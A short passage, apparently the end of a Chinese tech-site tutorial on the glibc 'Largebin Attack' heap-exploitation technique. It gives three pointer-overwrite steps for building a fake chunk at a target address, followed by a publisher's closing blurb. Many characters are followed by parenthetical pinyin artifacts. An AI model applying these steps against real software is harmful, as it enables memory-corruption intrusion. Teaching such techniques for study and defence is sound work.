2、將unsortedbin中的chunk的bk改為目標(biāo)地址
3、將largebin中的chunk的bk改為目標(biāo)地址+8使其可寫
4、將largebin中的chunk的bk_nextsize改為目標(biāo)地址-0x18-5錯(cuò)位寫入size以便構(gòu)造fake_chunk
以上就是怎樣剖析Largebin Attack，小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘９ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。